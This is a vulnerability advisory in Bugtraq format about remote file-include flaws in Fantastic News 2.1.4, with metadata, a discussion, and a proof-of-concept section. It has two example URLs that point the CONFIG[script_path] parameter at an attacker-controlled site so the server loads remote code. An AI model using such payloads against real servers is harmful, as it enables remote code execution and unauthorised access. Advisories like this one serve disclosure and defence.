Fantastic News Multiple Remote File Include Vulnerabilities

BID:21796

CVE-2006-4671 |

Info

Fantastic News Multiple Remote File Include Vulnerabilities

Bugtraq ID: 21796
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Dec 27 2006 12:00AM
Updated: Jan 04 2007 06:26PM
Credit: Mr-m07 <xp10[at]hotmail.com> is credited with the discovery of these vulnerabilities.
Vulnerable: Fantastic Scripts Fantastic News 2.1.4
Not Vulnerable:

Discussion

Fantastic News Multiple Remote File Include Vulnerabilities

Fantastic News is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

Fantastic News 2.1.4 is vulnerable; prior versions may also be affected.

Exploit / POC

Fantastic News Multiple Remote File Include Vulnerabilities

An attacker may exploit these issues using a web client.

The following proof-of-concept script is available:

http://example.com/archive.php?CONFIG[script_path]=attacker site
http://example.com/headlines.php?CONFIG[script_path]=attacker site

Solution / Fix

Fantastic News Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

References

Fantastic News Multiple Remote File Include Vulnerabilities

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